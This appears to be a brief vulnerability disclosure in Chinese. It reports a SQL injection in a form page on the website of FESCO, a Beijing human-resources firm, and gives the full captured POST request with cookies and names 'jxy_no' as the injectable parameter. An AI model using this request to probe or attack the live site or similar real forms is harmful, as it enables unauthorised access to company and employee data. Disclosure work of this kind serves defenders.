北京外企德科人力資源北京外企人力資源服務有限公司SQL注入－IT工程師數位筆記本

文章出處

成立于1979年的北京外企人力資源服務有限公司（以下簡稱FESCO），是中國率先為外商駐華代表機構、外商金融機構和經濟組織提供專業化人力資源服務的公司，擁有悠久的人力資源專業化服務歷史、豐富的市場經驗以及完備的服務資質，是跨國企業在華的首選人力資源戰略合作伙伴，是中國人力資源業界最具競爭力和品牌價值的企業，是中國500強企業之一。

　作為中國人力資源服務行業的領跑者，FESCO服務于來自上百個國家和地區的2萬余家客戶，以及在這些機構中工作的130余萬名中外雇員。客戶包括眾多國際知名跨國企業、三資企業、國營企業、民營企業，橫跨通訊、電子、IT、汽車、石化、醫藥、金融、快速消費品等多個行業。

POST注入：

POST /vip/salon/baoming.asp HTTP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Referer: http://www.fesco.com.cn/vip/salon/baoming.asp

Accept-Language: zh-CN

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Content-Length: 237

Host: www.fesco.com.cn

Pragma: no-cache

Cookie: CNZZDATA1000501355=1887299462-1447460014-http%253A%252F%252Fjob.fesco.com.cn%252F%7C1447460014; ASPSESSIONIDCCTCRTQB=DFHDJIBBBICBNOHMFNLPPDCD; Hm_lvt_1051ac8c9f5e91693c329ff5a5543aa6=1447460011

submit=%cc%e1%bd%bb&jxy_company=Acunetix&jxy_dept=1&jxy_mail=sample%40email.tst&jxy_mobi le=987-65-4329&jxy_name=csqctcgn&jxy_no=1&jxy_request=1&jxy_xingzhi=%b9%fa%c6%f3&jxy_yewubu=0

注入參數：jxy_no